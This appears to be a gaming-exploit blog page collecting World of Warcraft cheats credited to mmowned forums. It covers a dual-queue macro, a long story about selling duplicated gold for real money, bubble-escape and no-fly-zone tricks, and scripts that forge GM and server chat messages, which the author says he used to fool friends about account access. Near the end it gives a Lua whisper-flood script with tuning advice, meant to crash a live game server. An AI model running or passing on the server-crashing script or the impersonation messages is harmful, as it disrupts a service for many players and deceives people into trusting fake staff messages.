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This is a great way to save time when dungeon or bg queues are long, and you’d like to be doing one while waiting for another.

Credit for this hack goes to hp94 on the mmowned forums

I know everyone was disappointed when we went into our first random dungeon group, but couldn’t do any BGs at the same time!

Well, now you can!

Make a macro:

/script JoinBattlefield(0)

There you go – thats the only macro.

Anyways, here’s the how-to:

1. Queue for a dungeon.
2. When the ‘enter dungeon’ option comes up, spam the macro (preferably with a keybind).
3. While you’re spamming the macro as fast as you can (With the battlefield tab open), click ‘enter dungeon.’ it gives the “Ready Check” window, with the 5 bubbles (1 Healer, 1 Tank, 3 Damage), keep spamming. As soon as all 5 bubbles get the check marks (meaning ready) and you press the macro, you will join the battleground que.

4. When the battleground pops, join it.


This great story reminds me of the old EQ2 dupe story. You know the one with the Gnomish Thinking Chair. I know its long, but its a great read if you’ve got the time.

Part 1: Imagine if someone found a working dupe method in WoW

You can almost feel the anticipation throughout the gaming community, especially mmorpg gamers. It is late 2004 and Blizzard has announced that everyone is invited into the stress test to finalize beta testing for what would become the world’s most popular online game ever. World of Warcraft was almost ready for release. One ambitious gamer knew WoW dupe methods and farming bots would be in high demand, just like they were in Diablo II. This gamer wasted no time and began testing ideas. For the rest of this story I’ll refer to the gamer as Stewie.

First Stewie tested ideas compiled from his limited knowledge of WoW along with previous experience working with Diablo II dupe methods. As expected, Blizzard had corrected their errors and the code that allowed those old dupe methods to work was solid and seemed bulletproof in their new masterpiece. With little time, Stewie moved onto coding the bot. “First,” he thought to himself, “I’ll create a fishing bot.” The more valuable bot would feature fishing and leveling/farming, but that would have to be completed after release. There was not enough time in the stress test to develop a leveling bot, and the max level was only 25 anyway.

So Stewie worked day and night coding a fishing bot that worked beautifully. The bot fished like a pro, responded to tells, and even fought off anything that aggroed the character. The bot’s GUI allowed the player to choose which fish to keep and which to throw out to maximize gain. Stewie left the bot on for 18 hours the final day of testing. It worked flawlessly filling the character’s inventory with the most valuable catches. Stewie marveled at his creation right up until the infernals started falling from the sky. (Blizzard’s fun way of ending the WoW beta test)

November 24 finally arrived and Stewie rushed to a local Wal Mart to pick up World of Warcraft just after midnight. That night, Stewie didn’t sleep, leveling as quickly as possible. He reached level 20 and decided to take a break. He turned the fish bot on and took a nap. Upon waking, Stewie found his character’s inventory filled with the fish he wanted. “Perfect!” he thought as he headed for the vendor. To Stewie’s surprise, Blizzard had adjusted the vendor price of all fish to almost nothing. “What a great way to break fishing…” Stewie and many other players agreed. Unfortunately, this also crashed the value of Stewie’s bot. So Stewie changed his focus to his character grinding the slow trek to 60.

Upset that his awesome bot would not be worth anything, since it no longer farmed gold as fast, Stewie was always on the lookout for cool new exploits. He came up with two interesting ones that were not terribly useful. One helped earn extra gold towards his 1000g epic mount, the other was only really useful to excite his friends. He really wanted to find a good old dupe method, the top dog exploit of an mmorpg hacker’s arsenal. Eventually, a patch came out that fixed the useful exploit Stewie had found. He began to realize, like all of the other elite mmorpg exploiters, that a dupe method may never exist in WoW.

He thought, “I better get to work on a leveling and farming bot.” But just before starting on the new bot, Stewie thought of something. He calmly tried the new idea combining the two exploits he’d found earlier. His heart nearly leaped out of his mouth when he saw the results. He tried it again, then again, just to be sure. Before he knew it, he’d already duped an item 10 times just to make himself believe it. Stewie had just found the only working dupe method in World of Warcraft!

Part 2: Imagine how a WoW dupe method could be used

Stewie had just discovered a working dupe method in WoW. He knew he had to keep it quiet, or it would be hotfixed in an instant. So he used it sparingly to help his character. After a short while, he owned both of the epic mount choices and all of the best BOE epics that he found on the auction house. He thought, “Its time to try to monetize this dupe method.” Stewie had worked with RMT companies before when he could dupe in Diablo II. So he contacted those companies to see if any of them wanted to buy the WoW dupe method.. Half of them straight up didn’t believe him. They laughed at him stating that there will never be a working dupe method in World of Warcraft. “Oh well, their loss.” thought Stewie. The other half were not much better telling him, “Just give us the method, we’ll use it to dupe a huge inventory and sell it, then give you the commission.” Not one offered to pay for the method first, even after they were shown proof and believed that it worked.

So Stewie had to think of another way to enjoy this digital prize. Gold was selling for about $9 per hundred. (lol crazy right?) So Stewie concluded that selling gold wholesale to the RMT companies would be the best route to take. He knew that if he flooded the economy selling top quality epics, the dupe would be patched. He also knew that the game was still young, and most players didn’t have a fortune yet. Stewie enjoyed the game and made sure he would not be responsible for the destruction of any server’s economy. So he decided that the best way to mass produce the gold privately was to dupe the highest value items and vendor them.

Stewie set a schedule and only duped as often as he felt was safe. He also used some servers as control groups. He monitored their economies precisely to make sure they were exactly the same as the servers he duped on. Stewie probably knew more about WoW’s economy than the developers responsible for monitoring it.

So Stewie continued on his merry way, playing his uber character, duping gold, and enjoying life. Then the news headlines hit. WoW Dupe Method Exists? “That’s it,” Stewie thought, “fun’s over.” He read on. Apparently the dupe method had something to do with the instability of the new instance, Mauradon, released in the latest content patch. “Well, at least they didn’t find my dupe method.” Stewie thought, but knew he still had a problem. Blizzard would do some research, and surely find that his lower level characters across many servers had been moving thousands of gold around quickly. So he laid low and did not use his dupe method for a month or so.

Instead of finding and banning Stewie, Blizzard stated that the WoW dupe method probably very rarely worked anyway, but is now fixed. Blizzard seemed just as confident as everyone else that no working dupe method exists for World of Warcraft. “This is great news,” Stewie thought as he continued duping and selling gold again. Eventually, the price of gold dropped and Stewie thought it was too much trouble to continue selling. So he only used the dupe method to help his character out so that he wouldn’t have to spend hours farming in between the good stuff.

Part 3: Imagine if someone offered you hints to find the WoW dupe method

Stewie was still an avid reader of many mmorpg exploit forums. He had enjoyed those communities since the original DiabloWorld. He thought, “All of these poor hackers are fighting for the table scrap exploits while I know a dupe method. I’ll throw them a bone.” He tried to offer some hints about the dupe bug that worked in World of Warcraft.

He was astonished at how quickly he was shot down by the community. Everyone thought he was just some scammer trying to sell a $10 fake. They assured Stewie that a working WoW dupe method would never exist. It was almost as if they had trained themselves to believe that. He couldn’t blame them though. He would probably believe the same if he had not found the working dupe so early after the game’s release.

So he decided to let those communities continue to praise the ‘elites’ who shared weapon skill gaining and wall climbing exploits. He was not interested in becoming an internet hero on some game exploit forum. He just wanted to help out any aspiring mmorpg hacker with some hints to find one of the most powerful dupe methods in history. Nobody took him seriously. So Stewie returned to using the dupe method to help his own characters and to sell gold for some extra cash.

Then, Stewie logged in one fine morning to find that half of his gold selling accounts were banned. “It would only be a matter of time before they find out how I got all that gold and the rest of my accounts would be banned and the dupe method patched.” thought Stewie. He waited, not duping at all for a month, two months, when would they ban his main accounts? They never did…But a new patch was released. Sure enough, the dupe method was fixed.
Part 4: What would Blizzard do if they found out about a dupe bug in WoW?

Blizzard had fixed the dupe method, but Stewie thought for a long while. “Why on earth would they fix it that way. It’s like they put a band aid on a severed arm of a bug.” Stewie knew he could find a work around, and within a few hours, he did. Stewie analyzed it a bit further. Maybe Blizzard didn’t know after all. They hadn’t banned his main accounts that had all duped like crazy and were geared like kings. They didn’t do a great job of patching the dupe method, although the previous method was useless. So Stewie still had the working dupe method and continued to use it as he always had.

Stewie thought it would be hilarious if he used the dupe method to fund a trip to Blizzcon. So he did just that. With the money he earned selling gold from his dupe, Stewie flew to Anaheim for all three conventions. At the first, he was nearly sweating when he entered, thinking that Blizzard were waiting for him to personally catch him. By the last, he was relaxed, enjoying it, playing Diablo III demos and watching tournaments.

Stewie decided he would let Blizzard know. He’d used the dupe method for almost five years, and didn’t mind if they patched it. He figured they might even be impressed and wonder if he was interested in joining their anti-hack team. So he sat in on the Blizzard hiring panel’s presentation on how to get a job at Blizzard. Afterward, Stewie spoke with a senior manager. He said, “I have plenty of experience working with mmorpg exploits and I think I would be an asset to the anti-hack team at Blizzard. Does Blizzard discriminate against potential employees who have previously discovered and exploited bugs in their games?” He assured Stewie that Blizzard would not discriminate as that is a way many security teams work hiring hackers as employees. So Stewie let it loose, “I know a very powerful exploit, a dupe in WoW. Would Blizzard be interested in hiring me onto their anti-hack team if my info proves to be useful?” The senior manager shrugged, he said, “You can apply for entry level QA jobs. If you’re good and they could use you on the anti-hack team, maybe you could move up.” Stewie gave him a bert stare. He thought, “I just told this guy that I know the most powerful exploit in WoW, a game that everyone assures is clean of this exploit. He just tells me I can apply to be a GM?”

Stewie politely finished the conversation and went on his way. “If Blizzard won’t even offer a little for such powerful information, then why give it to them?” Stewie just continued to dupe away so he could raid and pvp rather than grinding for gems, enchants, glyphs, armor enhancements, consumables, etc. the whole time. Blizzard did not patch the dupe method yet. He told them up front that it exists and he knows it. They didn’t care, probably because they didn’t believe him completely, but still should have investigated his claims.

Part 5: How much is a WoW dupe method worth to you?

Then, one day, Stewie saw someone offering a large sum of money for a working WoW dupe method. He thought, “Someone actually believes a WoW dupe can exist? I’ve got to talk to this guy.” So he contacted the person and let him know about the dupe method. The person was very skeptical as Stewie assumed he would be. So Stewie offered to show him proof.

He told the buyer to do some research, to find some of the hardest to farm items that are rarely available on the AH, and to choose any server. He would trade Stewie these items and the next day, Stewie would show the person a guild bank packed full of dupes of those items. The person returned with some very rare items and traded them to Stewie. Sure enough, Stewie duped enough of them to fill the bank, then showed the potential buyer.

The buyer was in shock. A WoW dupe method does exist…He asked Stewie about a million questions. (The answers are compiled into this story.) The buyer decided to not buy the WoW dupe, but to try to find it himself. Stewie was not worried. He was excited that another game exploiter wanted to find the dupe method themself. Stewie allowed the fellow mmorpg hacker to invite others to the guild bank to see the proof hoping to get other mmorpg hackers interested. If any inspired mmorpg exploiter wants to see the proof, they can do a little research and find out how to get a guild invite.

Stewie is still using his dupe method to play WoW in style. He did not like how game exploit communities became, shutting out any newcomer and shunning them for trying to find anything useful. He is happy that he was able to help the community understand that a dupe method can exist in any game. He hopes that he has planted a seed that will attract smart gamers to work together to find the dupe just as he had worked with friends to discover Diablo II dupes back in the day. Do not stop searching. The working World of Warcraft dupe method exists. Believe it.

Here are three ways to exit the Eye of the Storm bubble before the match starts.

(1)One player must be the owner of a Traveler’s Tundra Mammoth. Allow a player to jump in a passenger seat on your mount. Then move your mount so that the passenger is outside of the bubble. Kick them off your mount and they will land outside the bubble. You can get your whole team outside the bubble this way.

(2)Move your character to the back of the bubble, mount up with your largest size mount
If you get dismounted, move back a little bit. When you are able to mount, press forward and jump simultaneously. You’ll be a little outside of the bubble. Hold forward and you will come out. If you do not, then press forward and jump simultaneously again to exit the bubble.

(3)Queue for EOTS and another bg that usually opens faster. Enter the other bg and die, but move your spirit away from the res NPC. When the EOTS queue opens, take it while in spirit form. You’ll enter the bg as a spirit. Move to the very front of the bubble,right on the border, so you are in range of the res NPC. When you are resurrected, you will be standing outside of the bubble.

Credit for this hack goes to mmowned

This explains how to fly in sections of dalaran that are marked as “No Fly Zones” as well as what I think is going on and why it works.
There is so much explaining because it really does help you to actually do the exploit.

I assume this exploit appeared when Blizzard enabled the ability to fly above dalaran without being dismounted.

The trick involves transitioning from a “safe zone” (flying allowed), to the “no fly zone” you wish to fly in, then into a *Different* “safe zone”, and then back again into the same “no fly zone”, all before the server validates your flying status.

Before Blizzard added the fly above dalaran zone, two different safe zones were never next to each other, making this flaw in logic impossible to produce, but rare enough that it wasn’t found in bug testing.

I assume each player has a list containing zones (part of the city) you pass through.
When your cross zones, something is added to this list, making a note of it. Periodically, the list is checked to enforce ‘no fly zones’.
These checks tend to happen when you do something interesting, like bump into something, start moving, or stop moving.
I assume to to save memory, duplicates are not added to the list [important, in my theory anyways].

This is what the list looks like in the situation I create in the screen shots below.

1. Krasus Landing (Fly Zone)
2. Roads of Dalaran (No Fly Zone, Add Debuff)
3. Zone Above Dalaran (Fly Zone, Remove Debuff)
Roads of Dalaran (No Fly Zone) <- not added because already on list #2
note: you must start from a hover, the drawing is misleading

Now the list will be evaluated, assuming you made those transitions without bumping into a building or stopping, which would cause it to evalute early.
The end result should be you inside a no fly zone, but without a debuff, which is in fact what happens.

This is not the same as bouncing back and fourth between an invalid and valid zone, and is the key the the entire trick.

What you need is 2 *different* valid zones next to each other. I think the easiest to learn with is the border between Krasus’ Landing and the streets of Dalaran because you can use buildings to find out exactly where the border to the sky zone is.

If you try this several times and get the debuff, you are probably going from Valid Zone A, to Valid Zone B, and not passing through the invalid zone in betweem them. You NEED to pass through the invalid zone before entering the Sky Valid Zone.
Also remember to start this from a hover (don’t be parked on a building or the server will give you the debuff early).

If you read my long winded explaination above, you will understand why once you do this trick, you cannot transition to another one without getting the debuff.

Rough representation of zones in Dalaran:

You can also start on a wall but it is MUCH more difficult because you need to climb to the sky zone and back down all before your position is evaluated by the server.

Credit for this hack goes to hp94 on the mmowned forums

Some of the colors are off, but they’re as close as I could get them. If you have any improvements, suggestions, or requests, I’ll be here often.


Battleground Chat:
/script ChatFrame1:AddMessage(“\124cfffc8000\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[Battleground] [Immortal-Mage]: XXXXX is hacking! Look at him flying around!\124h\124r”)

Normal Say:
/script ChatFrame1:AddMessage(“\124c00FFFFFF\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[ImmortalmageF48CFF] says: Woah… what?\124h\124r”)

Default Emotes:
/script ChatFrame1:AddMessage(“\124cfffd8000\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hNAME has a new emote\124h\124r”)

Server Message: Horde
/script ChatFrame1:AddMessage(“\124cffff0000\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hImmortalmage claims the stables! If left unchallenged, the Horde will control it in 1 minute!\124h\124r”)

Server Message: Alliance
/script ChatFrame1:AddMessage(“\124cff00B4FF\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hImmortalmage claims the stables! If left unchallenged, the Alliance will control it in 1 minute!\124h\124r”)

Normal Yell:

/script ChatFrame1:AddMessage(“\124c00ff4555\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[Immortalmage] yells: I’m yelling!\124h\124r”)

Trade Chat:
/script ChatFrame1:AddMessage(“\124c00EFB7AF\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[2. Trade] [GM]: IMA GM!\124h\124r”)

/script ChatFrame1:AddMessage(“\124c1625fc00\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h<GM>[Guild] [Immortalmage]: Immortalmage strikes back!\124h\124r”)

/script ChatFrame1:AddMessage(“\124c00EE7AE9\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[Stonefury] whispers: WHISPER\124h\124r”)

Server Message: Default
/script ChatFrame1:AddMessage(“\124cffffff00\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hYour share of the loot is 5 Gold\124h\124r”)

Server Message: Default Two
/script ChatFrame1:AddMessage(“\124cffffff00\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hImmortalmage rolls 100 (1-100)\124h\124r”)

Server Message: Default Three
/script ChatFrame1:AddMessage(“\124cffffff00\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124hYou have learned a new spell: Frostbolt of the ages. (1-100)\124h\124r”)

/script ChatFrame1:AddMessage(“\124c00EE7AE9\124Hachieveall nt:1234:0000000000000001:1:12:314294967295:429 967295:4294967295:4294967295\124h[Stonefury] whispers: WHISPER\124h\124r”)

Change the blue area to show your chat. Edit it and SS if you want to trick your friends! I’ve already convinced people I can get on their accounts/etc by putting a SS on photobucket and they can see themselves or etc talking. Also, its fun to convince people of fake trade chat conversations.

You can also you this with the ‘/in X’ command to make some neat effects. Like make a macro for your friend:

#showtooltip Spell
/cast spell

And when he’s running around, the message will pop up. If he has an addon and you have access to his computer, make it use multiple macros so when one goes, they all go with different /in X to space them out or when one goes have it use the next one. I could easily make it look like a GM was talking to someone if I had access to their computer, but I’ve already ruined the ‘trust’ thing… so I can’t. All well…

Using “\n” gives an entire line of… nothing… oddly. If you put “\n\n\n\n\n\n\n\n” or more, it will clear your chat log and will fill it with…. nothing! Put it where the ‘blue’ section is above, because thats the message thats put into chat.

Raid Warnings:

Default Server:
/run local m,r,g,b,t=”Restart in 15 minutes.”,”ff”,”ff”,”00″,tonumber RaidNotice_AddMessage(RaidWarningFrame,m,{r=t(“0x”..r), g=t(“0x”..g), b=t(“0x”..b)}); PlaySound(“RaidWarning”)print(“\124cff”..r..g..b..”[Server]: “..m..”\124r”)

Default Raid Message:
/run local m,r,g,b,t=”Raid Message!”,”ff”,”00″,”00″,tonumber RaidNotice_AddMessage(RaidWarningFrame,m,{r=t(“0x”..r), g=t(“0x”..g), b=t(“0x”..b)}); PlaySound(“RaidWarning”)print(“\124cff”..r..g..b..”[Name]: “..m..”\124r”)

Item Links:

Item Link One:
/script DEFAULT_CHAT_FRAME:AddMessage(“\124cffa335ee\124Hitem:50453:0:3520:3021:3500:360 1:0\124h[Ring of Rotting Sinew]\124h\124r”);

50453: Item ID (found from thottbot)
0: Socket One
3520: Socket Two
3021: Socket Three
3500: Item Enchant
3601: Invisible Item Effects (Client Side Only)

Change these to the preferred IDs and have fun!

Item Link Two:
/script DEFAULT_CHAT_FRAME:AddMessage(“\124cffff8000\124Hitem:49623:0:3388:3390:3489:0:0 :0:0\124h[Shadowmourne]\124h\124r”);

That’s just for fun =)

I’ll be adding more: Enjoy!
PS: It’s client side =( But its still there none the less =)
Item links can be linked to the server and across servers if you just shift click it and it shows up in someone elses chat log (with normal chatting, conversations, etc).
Chat Logs first, Combat Logs next (takes infinitely more work to do without photoshop/editing).

Credit for this guide goes to

A dupe bug allows a player in a video game to duplicate gold or items in the game by using the dupe method or hack. Unlimited resources is, of course, extremely valuable. Finding a dupe exploit can mean great real world monetary value as well. So there is no doubt a dupe method is one of the most coveted exploits or cheats for online games (mmorpg). Unfortunately, dupe bugs are some of the most rare glitches that are discovered because game developers always attempt to protect their code against dupe hacks. The key to finding a dupe method is by thinking of actions in the game that the game developer never imagined you would attempt. These ideas are obviously tough to think up, but there is a way you can help get your brain going in the right direction.

Herzog Zwei was one of the best and most respected online game exploiters. He discovered at least two separate dupe methods in Diablo II. However, he is most famous for the discovery of the “ITH” hacked item method in Diablo II. He found the method by using a powerful runeword item and sending packets via ‘d2hackit’ (Early Diablo II packet sender/reader written by another famous game hacker, Thohell). He sent packets to sell the runes out of the runeword item to a vendor. He was left with an item with the bonus stats of the runeword, although the runeword changed to “ith”, and empty sockets. He also knew a working dupe method at the time, and as you all know, ‘ith’ items spread like wildfire.

Zwei knew that thinking of new dupe bug ideas was tough. When asked about how he did it so well, his response was that the best way to discover a new dupe method is by learning past dupe methods that worked and are now patched. With that information you will fill your head with great ideas that you can use variations of to discover a new dupe method. Although, getting your hands on patched dupe methods isn’t all that simple either, unless you know where to look. One of the biggest collections of patched dupe methods for online games available exists at


Credit for this hack goes to hp94 on the mmowned forums

First, get on whoever you want.
Type: /w bemfive hey
Type: /script t=0;z=10;CreateFrame(“frame”):SetScript(“OnUpdate”, function(s,e) if t>1 then for i=0,10000 do SendChatMessage(“_G”,”WHISPER”,”ORCISH”,”Bemfive”)end;if z>1 then t=0 else z=z-1 end elseif z>1 then t=t+e end end)

Watch the fireworks. (BTW: It turns out my laptop cannot handle this and fires “NetClient:: HandleDisconnect”. So you need a powerful computer to outlast the server. Works best on high or full servers.)

Reasons: Well, bemfive can be whispered on a trial account because its an addonchannel for WoW, anyone can access it. You send millions of requests to the server that need to be accepted, and replied to, by the server itself. If it isn’t strong enough, try changing the 10000 to 50000, and if it DC’s you too early, try using 8000, or 6000.

Worse comes to worse, I discovered there is an unlimited amount of whispers allowed to be sent to yourself. Simply change, “Bemfive” with “whateveryournameis”, and start whispering =). And of course, when you let an ‘unlimited’ amount of messages be sent though the server, it’s ALWAYS possible to overload it.

This is the method to crash a US server. If you’re on EU try whispering bemone.

EDIT: Where you see “ORCISH” in the macro, thats for horde. I almost forget. If you’re alliance put “COMMON”. That will make it work. Geez, I’m forgetting a few important things lol.

I’m GnomeCrusher, but most know me as just GC.

After pwning everyone in world PVP in Vanilla WoW, then becoming gladiator in all brackets on Bloodlust (BG9), taking a guild bank from <Avant Garde>  and making Zilea cry, its time to find a new way to make playing World of Warcraft fun again. Ever since I used the shaman windfury totem exploit to farm elites in Winterspring (got 3x hand of edward the odd when they sold for a grip), I was hooked on using anything I could find to my advantage.

So I’ll be letting you in on the hottest WoW exploit, hack, dupe, glitch, bug, cheat that exists out there. Use them at your own risk. This shizzle is for educational use only, I’m not responsible for your account getting closed if you’re caught duping up a storm or using any other info offered on the blog.

That being said, get ready to enjoy WoW again, like the good old days.